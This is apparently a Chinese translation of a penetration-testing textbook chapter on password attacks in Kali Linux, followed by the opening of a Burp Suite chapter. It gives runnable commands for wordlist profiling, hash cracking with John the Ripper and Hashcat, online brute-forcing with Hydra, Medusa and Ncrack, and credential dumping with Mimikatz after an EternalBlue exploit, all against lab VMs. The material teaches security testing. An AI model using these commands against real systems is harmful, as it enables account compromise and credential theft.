原文:
annas-archive.org/md5/AB4ED424B79B61BAAE18A448202342B9
译者:飞龙
第六章:了解密码攻击
在密码分析中,密码破解可以被定义为通过使用其哈希对应物来恢复明文密码短语的过程。密码是我们日常生活的一部分;我们几乎在所做的一切事情中都使用它们。随着系统安全性的发展,以寻找各种加密密码的方法,可以破解它们的工具也在发展。
在本章中,您将受益于了解密码如何成为我们日常生活的一部分。您将学会查找、构建和定制单词列表的技能。您将学会如何利用单词列表,并在 Kali Linux 中使用各种密码破解工具。您将了解各种工具,以及它们在渗透测试中何时以及如何使用。
随着您在本章的学习,您将学到以下内容:
-
密码攻击简介
-
使用单词列表
-
离线密码破解
-
在线密码破解
-
从内存中转储密码
技术要求
本章需要以下技术要求:
-
Kali Linux 2019.1
-
Metasploitable 2 和 3 虚拟机
密码攻击简介
密码并不是什么新鲜事物。它们已经存在了几个世纪。例如,罗马军队使用密码来区分敌我。在 20 世纪 60 年代初,密码的概念被用于访问计算机系统和共享数据。目的是帮助保持个人文件对其他人的保密。从那时起,它成为了计算机安全的事实标准,无论是个人还是企业使用。在最初,保护密码并不是多大的问题。随着时间的推移,由于互联网的蓬勃发展,安全性变得更加重要,因为人们开始在互联网上存储敏感信息。
哈希和盐后来被引入以帮助密码的安全性。哈希对密码进行单向转换,实质上将密码转换为一串字符。盐是添加到密码中的唯一数据值,导致生成不同的哈希。比较简单哈希的密码和加盐哈希的密码将导致两个完全不同的哈希。
今天,用户名和密码是人们每天使用的组合。诸如计算机系统、移动设备、游戏机、平板电脑等设备都受到密码的保护。作为计算机用户,您可能有许多用途的密码,例如登录系统、访问电子邮件、数据库、网络、网站、应用程序和提升服务。
在渗透测试过程中,您经常会遇到密码作为最小的障碍。安全成熟度较高的企业仍然会有用户成为最薄弱的环节。正如我们在第四章*,掌握社会工程学*中所学到的,用户可以通过社会工程学来被利用。用户也是可以预测的,大多数人会使用容易预测的密码。
密码引入了一个不可分割的问题。较短的密码更容易记住,也更容易猜测。较长的密码更难破解,但也更难记住。增加复杂性后问题仍然存在。如果密码要求太复杂,用户最终会忘记它们,甚至更糟的是,写下来。这会引入诸如大量密码重置的问题,您可以通过社会工程学来利用。写下密码可以在走过建筑物时轻松注意到。现在,让我们考虑一下用户为多个在线服务(如亚马逊、Spotify、iTunes、Facebook 和 Instagram 等)使用密码的事实,列表还在继续。跟踪这么多密码很困难,导致许多人多次使用相同的密码。如果攻击者能够获得一个密码,这将引入一个重大问题,一切都可以被访问。
让我们看看如何利用各种方法来破解密码,有些情况下,您甚至不需要破解密码就可以使用服务。
使用单词列表
为了破解密码,您需要有一个可以尝试的凭据列表。您可以使用用户列表(仅包含用户名)、密码列表(仅包含密码)或结合两者的列表。
用户列表是包含用户名的列表。它可以通过对目标进行侦察来构建,或者在某些情况下,可能会为您提供进行渗透测试。如果您需要构建自己的用户列表,有一些问题需要考虑。目标是否使用firstname.lastname
作为用户名?也许目标的用户名与其电子邮件地址相同?查找用户名的好方法是查看公开发布在互联网上的文件的元数据。您可以使用简单的 Google 查询来查找特定的文件类型,使用filetype:
搜索字符串。
在第三章中,执行信息收集,我们看了如何使用 Google dorks进行信息收集。
在 Kali Linux 中,使用 Firefox ESR,并使用搜索字符串filetype:xls
,我能够找到一些文档,其中包含可以给我提供用户名结构线索的详细信息*(如下面的屏幕截图所示)*。您可以使用诸如 ExifTool**之类的工具执行相同的分析。**ExifTool 是一个跨平台工具,支持多种文件格式。它很轻便,您可以从文件中获取大量信息。
要在 Kali Linux 中安装 ExifTool,您需要从终端窗口运行以下命令:
apt install libimage-exiftool-perl
安装后,您可以使用exiftool [options] file
命令查询文件。要查看选项的完整列表,可以使用man exiftool
命令,在终端中显示文档,如下面的屏幕截图所示:
图 1:使用 exiftool 提取元数据
在前面的屏幕截图中,我们能够确定这家特定公司的用户名结构是name.surname
。我们可以使用 LinkedIn 进行进一步调查,以获取在该公司工作的员工名单,并从中生成用户名列表。
密码列表包含密码。您可以下载这些密码列表,甚至创建自己的密码列表。Kali Linux 包含一些密码列表,尽管这些列表不如您在互联网上找到的那些全面。
内置的单词列表位于/usr/share/wordlists
,包含著名的rockyou.txt
密码列表,如下面的屏幕截图所示:
图 2:Kali Linux 内置的单词列表
Kali Linux 中的一些工具有自己的单词列表;例如,工具John the Ripper在/usr/share/John/password.lst
中有一个密码列表。
Metasploit 框架中有许多单词列表,位于/usr/share/metasploit-framework/data/wordlists
中。
有许多在线资源可以获取密码列表。一些网站托管着不经常更新的旧密码列表。那些经常更新的位于 WeakPass(weakpass.com
)和 Seclists(github.com/danielmiessler/SecLists/tree/master/Passwords
)等网站。可以使用apt install seclists
命令在 Kali Linux 中安装 Seclists。这将把当前版本的密码列表下载到/usr/share/seclists
路径中,如下面的屏幕截图所示:
图 3:Seclists 的密码列表
一些网站,如 CrackStation(crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm
),托管着一个相当大的数据库,并提供在线哈希破解器。
密码概要
在规划渗透测试时,拥有一个专门针对目标的定制密码列表非常重要。拥有一个概要密码列表可以帮助渗透测试的成功,因为你可以省去使用通常非常广泛的公共单词列表所花费的时间。
定制密码列表并使其更具体于目标的一种方法是使用密码概要技术。密码概要涉及从您正在针对的组织中提取单词或短语,并将其包含在单词列表中,以提高找到有效密码的机会。
在第三章中,执行信息收集,我们对 Metasploitable 2 和 3 虚拟机进行了 Nmap 扫描。一些开放的服务包括 SSH(端口22
)和 FTP(端口21
)。在之前的第五章中,深入研究 Metasploit 框架,我们探讨了一些针对这些易受攻击的虚拟机的攻击。现在,我们将执行一些利用密码文件的攻击,但我们不会使用来自互联网的密码文件,其中包含成千上万个密码,而是构建一个经过概要处理的密码文件。
Kali Linux 带有一个名为CeWL的工具。CeWL 可以对给定的 URL 进行蜘蛛爬行,您可以指定深度,并返回可以使用的单词列表。CeWL 是可定制的,允许您指定单词的最小和最大长度,从文件的元数据中提取单词等等。
要构建与 Metasploitable 虚拟机相关的单词列表,可以使用github.com/rapid7/metasploitable3/wiki
上提供的 wiki 页面。
使用以下命令,我们将生成用于密码暴力破解的单词列表。在命令中,我们定义了最小单词计数(-m 7
)、蜘蛛深度(-d 1
),然后我们指示 CeWL 将输出写入到名为metasploitable-dict.txt
的桌面文件中(-w
),如下所示:
cewl https://github.com/rapid7/metasploitable3/wiki -m 7 -d 1 –w /root/Desktop/metasploitable-dict.txt
一旦命令完成,我们就有了一个当前包含 2,443 个单词的单词列表,如下面的屏幕截图所示:
图 4:CeWL 生成的单词列表
要对文本文件进行单词计数,可以使用wc -w
[文件]命令。
现在,我们可以使用刚刚创建的单词列表进行测试。我们将运行单词列表针对 Metasploitable 3 虚拟机,以检查我们是否可以使用服务器消息块(SMB)协议访问它。这可以通过使用辅助模块auxiliary/scanner/smb/smb_login
进行检查,具体步骤如下:
-
从终端窗口中,使用
msfconsole
命令打开 Metasploit 框架。在运行msfconsole
命令之前,请确保已启动 PostgreSQL 服务。 -
使用
use auxiliary/scanner/smb/smb_login
命令加载辅助扫描器。 -
接下来,我们将定义以下选项:
-
SET RHOSTS [IP]
:在这里,您将定义 Metasploitable 3 虚拟机的 IP 地址。这可以使用netdiscover -r [subnet]
或通过登录虚拟机并使用命令提示符窗口中的ipconfig
命令来检查其 IP 地址来获取。 -
SET USER_FILE [path]
和SET PASS_FILE [path]
:在这里,我们定义了字典。使用CeWL生成的字典,我们定义的路径是/root/Desktop/metasploitable-dict.txt
。 -
SET STOP_ON_SUCCESS true
:这告诉扫描器一旦找到成功的凭据就停止扫描。 -
SET VERBOSE false
:这将阻止扫描器在屏幕上显示输出。它只会显示成功的输出。
- 一旦定义了选项,我们使用
run
命令运行扫描器。一旦找到成功的凭据,输出将显示如下截图所示:
图 5:Metasploit Framework SMB 登录扫描器的输出
Metasploit 将发现的凭据存储在其数据库中。可以使用creds
命令访问凭据。
要记住的一个关键点是,您的字典越大,花费的时间就越长。通过使用配置文件字典,您可以减少寻找有效登录所花费的时间。
密码变异
用户经常以各种方式变异他们的密码。一些变异类型包括在密码末尾添加数字,交换字符,例如使用 3 代替“e”,使用大写字母等。
使用 John the Ripper,我们可以对密码列表执行变异。John the Ripper 附带一个包含许多预定义密码变异规则的广泛配置文件。此配置文件可以在/etc/John/john.conf
中找到。
配置文件中定义为[List.Rules:<name>]
的规则集,例如[List.Rules:Wordlist]
或[List.Rules:hashcat]
,还有很多。您可以使用简单的连接查询来查看各种当前规则:cat /etc/john/john.conf |grep List.Rules
,如下截图所示:
图 6:John the Ripper 中当前规则集的片段
让我们执行一些变异。为了说明,我将创建一个名为mutate-test.txt
的新文件,并在其中放入一个单词password
,然后将其存储在桌面上。您可以使用 leafpad、nano 或您喜欢的文本编辑器来完成这个操作。
创建文件后,我们可以执行一些变异并观察输出。编辑John.conf
文件,我根据以下截图添加了一个自定义规则集,名为List.Rules:Custom
:
图 7:自定义规则变异
在这个自定义规则中,我告诉 John the Ripper 在每个密码的末尾添加两个额外的数字。以下是您可以在规则集中使用的常见命令列表:
-
$
:这会在单词后附加一个字符或数字。在前面的自定义规则中,您会注意到我定义了一个由0-9
表示的一组数字。这将在单词后附加0
、1
、2
、3
、4
、5
、6
、7
、8
和9
。您还可以附加一个单个字符;例如,使用命令$9
将只在单词后附加9
。 -
^
:这会在单词前添加一个字符或数字。在这里,您可以根据前面的$
命令定义范围。 -
l
:这将所有字符转换为小写,c
将它们转换为大写。 -
t
:这会切换单词中所有字符的大小写。
让我们使用以下命令查看此规则的输出:
john --wordlist=/root/Desktop/mutate-test.txt --rules:Custom --stdout > mutated.txt
我们有一个名为mutated.txt
的新文件,其中包含在mutation-test.txt
中定义的单词的变异。stdout
命令用于输出候选密码。请注意,mutated.txt
文件的内容在主要单词末尾包含两个额外的字符,如前面的截图所示:
图 8:变异密码列表
当您使用密码变异时,您会发现一些规则比其他规则更有效。关键是找到适合您目标的方法,并知道您可以使用 John the Ripper 来执行密码变异。
离线密码攻击
离线密码攻击是一种在不被发现的情况下破解密码的方法。由于没有对活动服务进行暴力破解,因此被发现的风险要小得多。目标是获取密码的哈希版本并将其逆转回纯文本。不同的哈希算法输出不同位长度的哈希。由于哈希由十六进制数字组成,每个数字占四位,因此识别哈希位长度将涉及计算十六进制数字的数量并乘以四。
例如,哈希值63640264849A87C90356129D99EA165E37AA5FABC1FEA46906DF1A7CA50DB492
包含 64 个字符。64 x 4 = 256。这告诉我们哈希的位长度为256
位。在这个例子中,最常见的哈希算法输出256
位哈希的算法是SHA-256
。如果您有一个128
位的哈希呢?在这里,有一些算法可以发挥作用,比如MD2
、MD4
、MD5
和RipeMD-128
。在识别您拥有的哈希时,您的直觉就发挥作用了。例如,如果您从 MySQL 数据库中提取了一个哈希,那么这个哈希很可能是一个MD5
哈希。
幸运的是,有一些工具可以帮助您识别哈希,从而使您在进行手动计算时花费的时间大大减少。然而,知道如何计算哈希位长度并训练您的感知能力永远不会是浪费。
在当前版本的 Kali Linux(2019.1)中,有一个名为Hash Identifier的工具,它将尝试识别哈希。可以使用hash-identifier
命令从终端窗口运行此工具。让我们尝试识别之前讨论的SHA-256
哈希。请注意以下截图中的输出:
图 9:使用 hash-identifier 识别哈希
使用hash-identifier
可以简化识别哈希的过程,因为识别出的哈希非常具体。
John the Ripper
John the Ripper 既功能丰富又快速。它在一个程序中利用了几种破解模式,并且是完全可配置的(正如我们在密码变异中所见)。John the Ripper 可在多个平台上使用,这使得在多个系统上使用相同的破解程序变得容易。它默认包含在 Kali Linux 中。
John the Ripper 的一些特点如下:
-
哈希类型可以自动检测
-
跨平台支持
-
支持多种哈希算法
John the Ripper 的语法如下:
john [options] [password file]
现在我们已经确定了哈希算法,让我们尝试使用 John the Ripper 来破解这个哈希,采取以下步骤:
-
步骤 1:使用文本编辑器将哈希添加到文本文件中。我将文件命名为
sha256hash.txt
。 -
步骤 2:在终端窗口中运行以下命令:
john --format=raw-sha256 [filename] --wordlist=[wordlist path].
在我的示例中,我使用了rockyou.txt
单词列表。因此,在我的环境中,完整的命令如下:
john --format=raw-sha256 sha256hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
请注意以下截图中的输出:
图 10:使用 John the Ripper 破解 SHA-256 哈希
John the Ripper 将所有破解的密码存储在一个john.pot
文件中,该文件位于您安装 John the Ripper 的位置。在 Kali Linux 2019.1 中,默认情况下,它位于/root/.John/john.pot
,如下面的截图所示:
图 11:存储在 john.pot 文件中的破解密码。
让我们尝试破解我们从第五章*,深入 Metasploit 框架*中转储的哈希,使用 John the Ripper。从终端窗口,使用以下命令:
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT [filename] --rules=wordlist --pot=[filename].pot
在这个命令中,我们定义要使用的单词列表(rockyou.txt
)、要使用的规则集(wordlist
)以及要存储破解的哈希的位置(meta3.pot
):
图 12:使用 John the Ripper 破解从 Metasploitable 3 获得的哈希
破解密码哈希有时可能非常耗时,在渗透测试期间时间紧迫时可能不可行。利用转储的密码哈希的另一种方法是使用用户名和 NTLM/LM 哈希的有效组合重新验证到远程系统。这种技术称为传递哈希(PTH),自 1997 年以来一直存在。
尽管我们只能破解三个密码,但我们仍然破解了一个特权帐户,即管理员帐户。如果我使用更复杂的单词列表和更复杂的规则在 John the Ripper 中,它可能会破解所有哈希。请记住,随着你增加更多的复杂性,破解密码所需的时间会稍长一些。
为了破解 Linux 系统上的帐户,您将需要以下两个文件:
-
/etc/passwd
:包含用户信息 -
/etc/shadow
:包含用户的相应密码哈希
在我们能够破解密码之前,这两个文件需要合并。这可以通过使用unshadow
命令来完成,如下截图所示:
图 13:使用 unshadow 命令组合 passwd 和 shadow 文件
现在,我们可以使用以下命令将这个组合文件与 John the Ripper 结合起来:
john --wordlist=/usr/share/wordlists/rockyou.txt [filename] --pot=[potname]
John 将开始破解 Linux 哈希的密码(如下截图所示)。请注意,在这种情况下,我们没有定义格式;John the Ripper 能够识别哈希类型
并应用正确的破解算法,如下截图所示:
图 14:使用 John the Ripper 破解从 Metasploitable 2 获得的哈希
尽管在前面的截图中root
密码没有被破解,但利用更复杂的单词列表和 John the Ripper 中的规则很可能会破解密码。
Hashcat
Hashcat 是另一个离线密码破解工具,据称是世界上最快和最先进的密码恢复实用程序。它默认安装在 Kali Linux 中,并将 CPU 和 GPU 版本结合在一个程序中。
该程序支持多种哈希算法,具有用于破解密码的独特模式。Hashcat 支持多个平台,如 Windows、macOS 和 Linux。
Hashcat 的一些特点如下:
-
它支持多线程
-
多哈希支持(同时破解多个哈希)
-
多设备支持(在同一系统中利用多个设备)
-
多设备类型(在同一系统中使用混合设备类型)
-
它是基于多算法的(MD4、MD5、SHA1、DCC、NTLM、MySQL 等)
-
它使用专门的规则来扩展攻击模式
运行 Hashcat 的语法如下:
hashcat [options]... hash|hashfile|hccapxfile [dictionary|mask|directory]...
一些常用的选项如下:
-
-m
使用哈希的编号定义哈希类型。例如,MD5 是编号 0,SHA1 是 100。 -
-a
定义攻击模式。 -
-o
定义输出文件。
Hashcat 中的攻击模式定义如下:
-
字典攻击:(也称为直接模式或攻击模式零),尝试给定列表中的所有单词。
-
组合攻击:(称为模式1),这将多个单词列表中的单词连接起来。
-
暴力和掩码攻击:(模式 3)尝试给定字符集中的所有字符。
-
混合攻击:(模式6和7)结合了单词列表和掩码,反之亦然。规则也可以与此攻击模式一起使用。
Hashcat 支持多种哈希算法;当您从终端窗口使用hashcat -h
命令时,可以在[Hash modes]
部分看到这些算法,如下截图所示。以下截图只是支持的哈希算法的一部分。当您在自己的实验室运行命令时,您将看到完整的列表。
图 15:Hashcat 支持的算法
如果您有 GPU,您可以真正利用 Hashcat 进行密码破解的能力。不幸的是,GPU 破解不在本书的范围内。
在线密码攻击
就像使用自动漏洞扫描器一样,我们可以利用工具自动尝试登录服务并找到有效的凭据。这些工具旨在自动化在线密码攻击,直到服务器响应有效的登录。在线密码攻击可以被定义为尝试通过暴力破解凭据登录到一个活动服务,直到发现有效的组合。
在线密码攻击的问题在于它们可能会很吵,触发警报。让我们来看一些常用的在线密码攻击工具。
Hydra
Hydra 是一个非常快速和灵活的登录破解器。它支持可以轻松添加的模块。它为许多协议和服务提供了强大的身份验证暴力破解。
Hydra 的语法如下:
hydra [username options] [password options] [options] [IP address] [protocol] -V -f
以下是一些可用的选项:
-
-l
表示一个单一的用户名。 -
-L
定义用户名列表。 -
-p
定义一个单一的密码。 -
-P
定义密码列表。 -
-t
用于限制并发连接。 -
-V
告诉 Hydra 显示详细输出。 -
-f
用于在正确登录时停止。 -
-s
用于定义一个端口。 -
-x
利用暴力破解模式。例如,-x 5:8:A1
生成长度为 5 到 8 个字符的密码,包括大写字母和数字。
Hydra 支持多种服务,其中一些包括ssh
、smb
、smtp[s]
、LDAP、http/s、Telnet 和 MySQL。
让我们利用 Hydra 攻击 Metasploitable 2 虚拟机上的服务。
在第三章*,执行信息收集*中,我们对 Metasploitable 2 虚拟机进行了 Nmap 扫描。我们发现的其中一个服务是ftp
端口21
。使用我们之前生成的密码列表,我们可以使用 Hydra 来进行在线密码攻击。
从 Kali Linux 的终端窗口,我们使用以下命令:
hydra -L [username file] -P [password file] [IP address] [service] -f
在这个命令中,我们定义了一个用户名
和密码
列表。您会注意到在我的例子中,我使用了相同的文件。如果您有一个专门的用户名文件
,您可以利用它。我们要攻击的服务是ftp
,我们希望 Hydra 在找到有效登录后停止,所以我们使用了-f
选项,如下截图所示:
图 16:使用 Hydra 对 Metasploitable 2 的 FTP 服务进行暴力破解登录
Hydra 有恢复取消扫描的能力。在以下截图中,您会注意到我使用了一个更大的密码列表,并故意使用了Ctrl + C键序列取消了扫描。请注意 Hydra 写下的以下消息。Hydra 创建了一个hydra.restore
文件,可以用来恢复会话:
图 17:Hydra 恢复功能
重要的是要记住,大多数服务都配置为在一定数量的登录尝试失败后锁定帐户。这是被目标的 IT 人员注意到的一种方式。当登录尝试迅速连续发生时,入侵防范设备也可能发挥作用。关键是要减慢对服务的密码尝试次数。然而,这会花费您时间。
Hydra 是您应该在渗透测试工具包中拥有的工具。它能够运行大量的用户名、密码和目标列表。可以使用各种标志对其进行调整,以适应渗透测试中可能遇到的情况。
Medusa
Medusa 声称是一个快速、并行和模块化的登录暴力破解工具。它支持许多允许远程认证的服务。
以下是 Medusa 的一些关键特性:
-
并行测试:这提供了同时针对多个主机、用户或密码进行测试的能力。
-
可变用户输入:这提供了以各种方式指定目标信息的能力。例如,您可以使用包含主机列表的文件,或者可以在命令中定义单个主机。
-
模块化设计:模块存在为独立文件(
.mod
)。如果需要对模块进行任何更改,核心应用程序无需修改。 -
支持多种协议:与 Hydra 类似,Medusa 支持广泛的应用程序,包括
smtp
、http
、pop3
和sshv2
。
以下是 Medusa 提供的一些选项:
-
-h
定义目标主机名或 IP 地址。 -
-H
指定包含多个目标的文件。 -
-U
指定包含用户名的文件。 -
-P
指定包含密码的文件。 -
-g [num]
定义 Medusa 放弃尝试连接的秒数。 -
-r [num]
定义重试尝试之间的秒数。 -
-M
指定将使用的模块的名称。请注意,这是没有.mod
扩展名的。 -
-m
定义传递给模块的参数。 -
-Z
定义了您想要恢复的先前扫描。
Medusa 支持多个模块。可以使用终端窗口中的medusa -d
命令查看当前支持的模块列表,如下面的屏幕截图所示:
图 18:Medusa 支持的模块列表
Medusa 的语法如下:
medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
让我们使用 Medusa 执行 FTP 攻击,就像我们用 Hydra 一样。使用的命令如下:
medusa -U [username file] -P [password file] -h [host IP address] -M [module] [options]
在这里,我正在使用相同的文本文件作为用户名
和密码
。正在使用的模块是ftp
,我希望 Medusa 在第一次匹配时停止使用-f
选项,如下面的屏幕截图所示:
图 19:使用 Medusa 进行 FTP 暴力破解
Medusa 有恢复取消扫描的能力,如下面的屏幕截图所示。可以使用-Z [唯一代码]
命令恢复这些扫描:
图 20:Medusa 恢复功能
Medusa 是另一个应该在您的渗透测试工具包中的工具。它灵活,并支持与 Hydra 相比不同的协议集。
Ncrack
Ncrack 是一个强大而快速的密码破解工具,专注于依赖认证的基于网络的服务。它被设计为模块化,利用命令行语法,如果您熟悉 Nmap 的语法,这并不陌生。您可以将使用 Nmap 执行的扫描集成到 Ncrack 中。Ncrack 支持的协议包括ssh
、rdp
、ftp
、telnet
、http/s
、smb
等等。
Ncrack 已包含在 Kali Linux 中,因此无需安装,因为它可以直接使用。Ncrack 的语法如下:
ncrack [Options] [target:service specification/port number]
以下是 Ncrack 提供的一些选项:
-
-cl
定义最小并发并行连接数。 -
-CL
定义最大并发并行连接数。 -
-at
定义每个连接的认证尝试次数。这是避免帐户锁定的好方法。 -
-U
指定用户名文件。 -
-P
指定密码文件。 -
-iX
定义从 Nmap XML 输出文件(Nmap 中的-oX
开关)输入的文件。 -
-iN
定义从 Nmap 正常输出文件(Nmap 中的-oN
开关)输入的文件。 -
-
iL
定义主机或网络列表。
要显示 Ncrack 支持的当前模块列表,可以运行ncrack -V
命令,如下面的截图所示:
图 21:Ncrack 支持的模块
由于 Ncrack 具有执行暴力破解攻击的能力,让我们对 Metasploitable 3 虚拟机执行此攻击。使用以下命令:
ncrack -U [username file] -P [password file] IP:service -f -vv
在这个命令中,我正在使用相同的文件来存储用户名和密码。我正在使用-f
选项来在匹配时停止,-vv
用于增加详细输出,如下面的截图所示:
图 22:使用 Ncrack 攻击 Metasploitable 3 的 RDP 服务
在使用 Ncrack 执行 RDP 暴力破解登录时,Metasploitable 3 虚拟机会话被锁定。这是在进行渗透测试时需要牢记的事情。如果活动用户或管理员正在使用系统并且他们的会话被锁定,这肯定会引起警报。
如果您终止扫描,Ncrack 可以通过保存还原文件来恢复当前会话,如下面的截图所示*。*可以使用ncrack --resume [filename]
命令来恢复此扫描:
图 23:恢复 Ncrack 会话
您在渗透测试中尝试暴力破解的协议将决定您将使用的工具。在某些情况下,您可能可以选择多个工具,您的选择可能取决于工具本身的速度。加快暴力破解攻击的常见选项是增加登录线程的数量。在某些情况下,例如 RDP 和 SMB,由于协议相关的限制,这可能是不可能的。
另一个要考虑的因素是协议认证协商。例如,RDP 等协议的认证协商比 HTTP 更耗时。然而,如果您成功地暴力破解了 RDP 协议,您的回报通常会更大,因为这可能会导致更高特权的附加哈希。使用在线工具进行暴力破解的技巧在于在发起攻击之前仔细选择目标、用户列表和密码文件,并且要有直觉。
从内存中获取密码
破解密码确实可以很有趣,但从受损主机的内存中获取密码要快得多。这将使您快速访问凭据,从而可以提升权限或在环境中横向移动。一些系统可能配置了wdigest
认证,这将为您提供明文密码,而其他系统可能更安全,您可以利用它们进行哈希传递攻击。
让我们来看看从内存中获取密码的一些可能性。我们将利用前一章学到的知识(第五章*,深入了解 Metasploit 框架)*,并对 Metasploitable 3 虚拟机执行eternalblue
漏洞利用。对于有效载荷,我们将利用meterpreter
shell,如下面的截图所示:
图 24:EternalBlue 漏洞利用中使用的选项
一旦我们建立了meterpreter
会话,我们可以利用 Metasploit 框架的内置工具,或者使用诸如Mimikatz或Windows 凭据编辑器之类的工具。从meterpreter
会话中使用 Mimikatz 不会加载任何内容到远程系统(不会触及磁盘)。这种方法的美妙之处在于它更难以检测,因为没有任何内容被写入磁盘。使用Windows 凭据编辑器(WCE)这样的工具需要我们将工具上传到远程系统,然后从内存中获取凭据。由于这涉及向远程系统磁盘写入,因此检测的可能性更大。
在 Metasploit 中内置了从meterpreter
会话中使用msv
命令获取内存中的哈希的功能。您将在以下截图中注意到,我们已经从当前用户的内存中转储了LM
和NTLM
哈希:
图 25:使用 Metasploit 转储 MSV 哈希
我们下一个选择是从内存中转储 Kerberos 凭据。这可以使用meterpreter
会话中的kerberos
命令来完成,如下截图所示。
请注意,我们能够获取明文凭据:
图 26:使用 Metasploit 转储 Kerberos 凭据
使用wdigest
命令也是可能的,如下截图所示。这是可能的,因为正在使用的身份验证协议是wdigest
,这是不安全的:
图 27:使用 Metasploit 转储 wdigest 凭据
从meterpreter
,我们能够利用 Mimikatz。Mimikatz 是为了演示 Microsoft 操作系统使用的身份验证协议的漏洞而创建的。它是最广泛使用的黑客工具,拥有大量功能,并且不断更新。
可以使用meterpreter
会话中的load mimikatz
命令加载 Mimikatz。加载后,您可以使用mimikatz_command -f
命令对 Mimikatz 进行管道命令。
要转储受损主机的哈希值,您可以使用mimikatz_command -f samdump::hashes
命令,如下截图所示。注意,如果您想对其进行离线密码破解,可以复制新技术局域网管理器(NTLM)哈希:
图 28:在 Meterpreter 中使用 Mimikatz 转储 SAM 数据库中的哈希
您可以使用mimikatz_command -f sekurlsa::searchPasswords
命令从内存中提取密码,如下截图所示:
图 29:使用 Mimikatz 从内存中提取密码
利用meterpreter
的灵活性,您可以上传
文件,例如 Windows 凭据编辑器。这将允许您从内存中转储密码,如下所示:
图 30:使用 Windows 凭据编辑器从内存中转储凭据
能够从内存中转储密码可能会非常有益,特别是如果第一次就获得了高特权帐户。
摘要
密码是我们每天都在使用的东西,了解如何破解密码可以帮助成功进行渗透测试。请记住密码安全性的权衡;密码越复杂,人们绕过它的机会就越大。密码重复使用是人们常犯的一个缺陷,因此您可能会发现,某个终端用户的在线服务密码与其企业网络用户帐户的密码相同。在用于破解密码的所有工具中,都支持限制暴力攻击尝试。此功能使您能够将暴力攻击与日常流量混合在一起,最终减少锁定。
在本章中,您已经了解了密码的历史。我们看了一下如何从公开文件中发现暴露元数据的用户名。您已经了解了可以获取密码和用户列表的在线资源。您学会了如何在密码配置文件中使用您的感知能力,以及如何创建配置文件密码列表。我们研究了密码变异,以及如何使配置文件密码列表更适合您的目标。我们深入研究了离线密码攻击以及如何使用各种工具来破解密码哈希。在在线密码攻击部分,我们看了如何使用各种工具对利用身份验证的网络服务进行暴力攻击。
在下一章(第七章《使用 Burp Suite》)中,我们将学习如何在渗透测试中使用 Burp Suite。我们将使用 Burp Suite 的各种模块,并对 Web 服务器进行各种攻击。
问题
-
获取用户名的一种方式是什么?
-
密码分析的好处是什么?
-
什么工具可以用于密码变异?
-
在线和离线密码攻击有什么区别?
-
从内存中转储凭据时应该记住什么?
第七章:使用 Burp Suite
Burp Suite 是一款广泛使用的基于 Java 架构的 Web 应用程序渗透测试工具,有免费和付费版本。它可以在 Windows、Linux 和 macOS 等多个平台上使用。Burp Suite 用于识别漏洞和验证 Web 应用程序攻击向量。它拥有丰富的功能,是一个非常受欢迎的综合工具,有很多关于它的书籍。
在本章中,您将了解 Burp Suite 和各种版本。我们将重点介绍版本之间的差异以及如何获取专业版的试用许可证,该许可证用于本章中的演示。您将准备您的环境,以便在您自己的实验室中复制演示。最后,我们将研究 Burp Suite 提供的工具,并了解渗透测试人员如何使用这些工具。通过使用易于跟随的实际示例,您将对这些工具有很好的理解。
在本章中,我们将涵盖以下主题:
-
介绍 Burp Suite
-
准备您的环境
-
Burp Suite 的要点
技术要求
要跟随本章中的示例和说明,请确保您具有以下内容:
-
Kali Linux 2019.1
-
Burp Suite 专业版(撰写本文时为 v1.7.37)
-
开放 Web 应用程序安全项目(OWASP)破损 Web 应用程序(BWA)项目版本 1.2.7
-
Metasploitable 2
了解 Burp Suite
Burp Suite 类似于拦截代理。在对目标 Web 应用程序进行渗透测试时,可以配置 Burp Suite,使所有流量都通过其代理服务器路由。这使 Burp Suite 可以充当中间人攻击,捕获和分析与 Web 应用程序之间的每个 Web 请求。这使渗透测试人员可以利用暂停、操纵和重放请求等功能,以发现目标 Web 应用程序中的潜在注入点。这些注入点可以手动定义,也可以通过自动模糊技术定义。
模糊测试是一种软件技术,通过使用畸形或半畸形的数据包以自动化的方式发现实现错误。
Burp Suite 目前有三个版本可用:
-
社区版:这是默认与 Kali Linux 一起提供的免费版本。
-
专业版:这是一个付费版本,在撰写本文时每年每用户费用为 399 美元。
-
企业版:这个版本是为企业设计的。根据 PortSwigger 的网站(https://portswigger.net/)在撰写本文时的起价为 3999.00 美元/年。这个版本不在本书的范围内。
在本书中,我们将使用专业版。PortSwigger 提供了 Burp Suite 专业版的免费试用。您只需提供有效的公司名称和公司电子邮件地址即可申请试用许可证。
社区版和专业版之间的区别在于功能。社区版对 Intruder 功能有限制,通过强制限制线程。社区版不包括任何扫描功能或内置有效负载。当然,您可以将自己的有效负载加载到社区版中。需要专业版的插件在社区版中无法使用。社区版只允许您创建临时项目,因此无法将项目保存到磁盘。社区版只包括基本的手动工具,而专业版包含基本和高级的手动工具。
要了解不同版本之间的差异,请访问 https://portswigger.net/burp,该网站将解释差异并显示每个版本的当前价格。
准备您的环境
为了测试 Burp Suite 的功能,我们需要准备我们的环境。有许多有意设计易受攻击的 Web 应用程序。这些是专门用于学习目的创建的,它们非常好。随着您在 Burp Suite 中掌握技能,我鼓励您查看各种易受攻击的 Web 应用程序,这些应用程序是专门创建和发布的。一个很好的资源,可以找到在线和离线版本的易受攻击的 Web 应用程序软件,就是 OWASP。
OWASP 维护着一个易受攻击的 Web 应用程序目录项目,可以在www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project#tab=Main
找到。
安装 Burp Suite 专业版
在我们开始渗透测试之前,我们需要安装 Burp Suite。默认情况下,Kali Linux 2019.1 附带了 Burp Suite 的社区版。在本书中,我们将使用专业版的免费试用版。
请注意,在撰写本文时,最新的稳定版本是 v1.7.37。如果您使用任何测试版,界面将与本书中打印的屏幕截图不同。
让我们走一遍获取 Burp Suite 专业版试用许可证所需的步骤:
-
根据表格要求填写您的详细信息。请注意,您需要输入公司电子邮件地址,因此来自 Gmail、Outlook 和其他邮箱的个人电子邮件地址将无法使用。
-
您将收到一封带有登录详细信息的电子邮件,您将使用该信息登录下载门户。一旦您登录到您的帐户,您就可以继续下载许可文件。我正在使用普通的
jar
文件,因为我可以运行这个独立的应用程序,而无需安装它,如下面的屏幕截图所示:
图 1:Burp Suite 专业版的下载选项
- 下载文件后,您可以在 Kali Linux 终端窗口中使用
